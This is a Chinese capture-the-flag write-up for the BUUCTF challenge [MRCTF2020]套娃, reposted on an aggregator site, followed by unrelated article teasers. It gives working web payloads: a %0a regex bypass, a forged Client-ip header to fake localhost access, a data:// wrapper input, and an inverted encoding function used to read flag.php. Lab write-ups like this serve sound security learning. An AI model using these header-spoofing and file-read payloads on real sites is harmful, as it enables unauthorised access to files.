BUUCTF:[MRCTF2020]套娃

news2024/11/26 11:57:29

查看源码发现

在这里插入图片描述

PHP非法参数名传参问题,详细请参考我的这篇文章:谈一谈PHP中关于非法参数名传参问题

正则这里绕过使用%0a换行符绕过,payload: /?b.u.p.t=23333%0a

得到下一步信息:secrettw.php

在这里插入图片描述

注释中的是JsFuck,用这个网站去运行即可得到信息:https://jsfuck.com

在这里插入图片描述

POST传个Merak=mochu7即可查看源码

<?php 
error_reporting(0); 
include 'takeip.php';
ini_set('open_basedir','.'); 
include 'flag.php';

if(isset($_POST['Merak'])){ 
    highlight_file(__FILE__); 
    die(); 
} 


function change($v){ 
    $v = base64_decode($v); 
    $re = ''; 
    for($i=0;$i<strlen($v);$i++){ 
        $re .= chr ( ord ($v[$i]) + $i*2 ); 
    } 
    return $re; 
}
echo 'Local access only!'."<br/>";
$ip = getIp();
if($ip!='127.0.0.1')
echo "Sorry,you don't have permission!  Your ip is :".$ip;
if($ip === '127.0.0.1' && file_get_contents($_GET['2333']) === 'todat is a happy day' ){
echo "Your REQUEST is:".change($_GET['file']);
echo file_get_contents(change($_GET['file'])); }
?>

这里这个getIp()尝试过常见的XFF绕过方法无效,这里也不知道takeip.php,也是看别人的Writeup才知道要添加一个Client-ip请求字段,至于file_get_contents($_GET['2333']) === 'todat is a happy day' 都是老生常谈的考点了,伪协议php://或者data://传入即可。

至于change($_GET['file']),逆一下change()方法,即可控制file_get_contents()读取文件

<?php 
function change($v) {
	$v = base64_decode($v);
	$re = '';
	for ($i=0; $i < strlen($v); $i++) { 
		$re .= chr(ord($v[$i]) + $i * 2);
	}
	return $re;
}

function unChange($v){
	$re = '';
	for ($i=0; $i < strlen($v); $i++) { 
		$re .= chr(ord($v[$i]) - $i * 2);
	}
	$re = base64_encode($re);
	return $re;
}

$data = "flag.php";
var_dump(Unchange($data));

 ?>
PS C:\Users\Administrator\Downloads> php .\code.php
C:\Users\Administrator\Downloads\code.php:22:
string(12) "ZmpdYSZmXGI="

注意需要添加个请求字段:Client-ip: 127.0.0.1

/secrettw.php?2333=data:text/plain,todat is a happy day&file=ZmpdYSZmXGI=

在这里插入图片描述

查看源码即可获得flag

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1023708.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Lostash同步Mysql数据到ElasticSearch(二)logstash脚本配置和常见坑点

1. logstash脚本编写&#xff08;采用单文件对应单表实例&#xff09; 新建脚本文件夹 cd /usr/local/logstash mkdir sql & cd sql vim 表名称.conf #如: znyw_data_gkb_logstash.conf 建立文件夹&#xff0c;保存资源文件更新Id mkdir -p /data/logstash/data/last_r…

VBA技术资料MF58:VBA_测试点是否在多边形中

【分享成果&#xff0c;随喜正能量】人一辈子&#xff0c;只能靠长期去做某件事情来成就自己&#xff0c;而不是靠某一个人来成就自己。关于这点&#xff0c;你要么及早领悟&#xff0c;要么等待时光给出教训&#xff0c;逼你领悟。 我给VBA的定义&#xff1a;VBA是个人小型自…

数据结构 第一章作业 绪论 西安石油大学

绪论第1章 1&#xff0e;简述下列概念&#xff1a;数据、数据元素、数据项、数据对象、数据结构、逻辑结构、存储结构、抽象数据类型。 答案&#xff1a; 数据&#xff1a;是客观事物的符号表示&#xff0c;指所有能输入到计算机中并被计算机程序处理的符号的总称。如数学计…

【C++面向对象侯捷】大师写法,证明你学过!一出手就是正规军~

文章目录 1.Header&#xff08;头文件&#xff09;中防卫式声明&#xff01;2. 构造函数赋值3. const member functions(常量成员函数) > 不会改变数据内容的&#xff0c;加上const4. 参数 和 返回值尽量传 引用&#xff0c;减少 数据 传输5. 设计一个类&#xff0c;特别注意…

从功能测试到自动化测试你都知道他们的有缺点吗?

一、手工测试优点 测试人员的经验可以继承&#xff0c;对错误有猜测能力 测试人员有审美能力和心理体验 测试人员有逻辑推断能力 二、自动化的优点 自动化测试执行可以替代大量的手工机械重复性操作&#xff0c;测试工程师可以把更多的时间花在更全面的用例设计和新功能的测试上…

Python 爬虫使用 Selenium 如何在 WebElement 获得属性

首先&#xff0c;我们需要初始化驱动和指定使用特定的流量器。 代码如下&#xff1a; from selenium import webdriver wd webdriver.Firefox()上面的代码可以简单的理解为启动一个 Firefox 的实例。 使用 css 选择器 可以把程序读取的 HTML 理解为一个 Doc。 我们需要在 D…

三、双指针(two-point)

文章目录 一、算法核心思想二、算法模型&#xff08;一&#xff09;对撞指针1.[704.二分查找](https://leetcode.cn/problems/binary-search/)&#xff08;1&#xff09;思路&#xff08;2&#xff09;代码&#xff08;3&#xff09;复杂度分析 2.[15.三数之和](https://leetco…

Maven源码阅读(一)

获取源码 apache maven官网地址&#xff1a;https://maven.apache.org/ 不用点击&#xff0c;页面往下滚动&#xff0c;你会看到 找到源码地址&#xff0c;最终都是github&#xff1a;https://github.com/apache/maven 被墙了&#xff0c;可以用gitcode&#xff1a;https:…

Java基础13——异常的捕获与处理

什么是异常 异常是指程序在运行过程中出现的非正常情况&#xff0c;如用户输入错误&#xff0c;除数为零&#xff0c;文件不存在&#xff0c;数组下标越界等。 Java 异常体系结构 所有异常类都是Throwable 类的子类&#xff0c;他派生出两个子类&#xff0c;Error和Exception…

Git学习笔记6

Github分支开发&#xff1a; 第1步&#xff1a;在github上创建一个新的dev分支&#xff1a; 更新了微信的PC版本&#xff0c;发现默认的箭头比以前加粗了&#xff0c;变得更好看了。 create branch: dev from master。 切换到该分支&#xff0c;看到里面的内容跟master分支的…

macOS 运行xxx.command文件提示”无法执行,因为您没有正确的访问权限“解决方法

使用苹果mac电脑运行.command文件时&#xff0c;是否遇到弹出”无法执行&#xff0c;因为您没有正确的访问权限“的窗口&#xff1f;遇到这种问题怎么解决呢&#xff1f;这里小编为大家带来了详细的解决方法&#xff0c;一起来看看吧&#xff01; 解决方法&#xff1a; 方法一…

从零学习开发一个RISC-V操作系统(一)丨计算机组成原理相关知识与RISC-V指令集简介

本篇文章的内容 一、计算机组成原理的相关知识1.1 计算机的硬件组成1.2 程序的存储与执行1.3 程序语言的设计和进化1.4 存储设备的层次结构1.5 操作系统 二、RISC-V的指令集ISA简介2.1 什么是ISA2.2 复杂指令集&#xff08;CISC&#xff09;和精简指令集&#xff08;RISC&#…

halcon算子2、gray_histo

gray_histo 计算直方图 原形&#xff1a;gray_histo(Regions, Image : : : AbsoluteHisto, RelativeHisto) 功能&#xff1a;计算直方图 参数&#xff1a;Regions&#xff1a;区域&#xff0c;要计算的区域&#xff08;在image上的区域&#xff09; Image &#xff1a;要计算的…

【IC设计】ZC706板卡点灯入门(含Verilog代码,xdc约束,实验截图)

文章目录 假定已知的前置知识需求&#xff1a;注意点&#xff1a;代码实现&#xff1a;顶层模块led闪烁模块xdc约束 这篇博客将针对AMD Zynq 7000 SoC ZC706 Evaluation Kit板卡(对应Vivado创建工程时FPGA型号&#xff1a;XC7Z045ffg900-2)实现基本的点灯程序。 假定已知的前置…

JUC中创建的组件 多线程使用“哈希表”

JUC中创建的组件 JUC中创建的组件这些内容都不太常用&#xff0c;偶尔用到面试的时候&#xff0c;偶尔用到&#xff01;到时候自行查找即可&#xff0c;本文主要来快速的过一下&#xff0c;留个印象即可~ JUC&#xff08;java.util.concurrent&#xff09;和多线程相关的工具…

【APUE】文件I/O(系统调用I/O)

目录 1、简介 2、文件描述符的本质 3、文件IO操作 3.1 open 3.2 close 3.3 read 3.4 write 3.5 lseek 4、文件IO与标准IO的区别 5、IO的效率问题 关键补充&#xff1a;进程的内存空间布局 代码区 常量区 全局区 .bss段 .data段 堆区 栈区 6、文件共享 7…

详解【异质图卷积网络 RGCN】回顾:图神经网络问题的三大处理步骤 | 从起源说起,RGCN核心公式解释,两种降低模型参数量/优化的方式,附核心代码实现讲解

书上说了,天下没有不散的宴席,但你别怕,书上还说了,人生何处不相逢。 【纯手工】优质讲解,码字不易,写作不易,走过路过,大家点个赞呗! 🎯作者主页: 追光者♂🔥 🌸个人简介: 💖[1] 计算机专业硕士研究生💖 🌿[2] 2023年城市之星领跑者TOP…

*p 和p区别

*p 和 &p 是在C语言中用于处理指针的两种不同操作。 *p: * 是解引用运算符&#xff0c;用于访问指针所指向的内存地址上的值。如果 p 是一个指针变量&#xff0c;*p 就是该指针所指向的值。举例&#xff1a;如果有 int *p&#xff0c;它是一个指向整数的指针&#xff0c;那…

机器学习西瓜书+南瓜书吃瓜教程第三章学习笔记

本次学习为周老师的机器学习西瓜书谢老师南瓜书Datawhale视频 视频地址 下面为本人的学习笔记&#xff0c;最近很忙还没学多少&#xff0c;之后补&#xff01;&#xff01;&#xff01; u1s1&#xff0c;边看视频边自己手推一遍真的清楚很多&#xff0c;强烈推荐自己手推虽然花…

BUU [HCTF 2018]Hideandseek

BUU [HCTF 2018]Hideandseek 考点&#xff1a; 软连接读取任意文件Flask伪造session/proc/self/environ文件获取当前进程的环境变量列表random.seed()生成的伪随机数种子MAC地址(存放在/sys/class/net/eth0/address文件) 国赛的时候遇见过软连接&#xff0c;这次再来学习一下…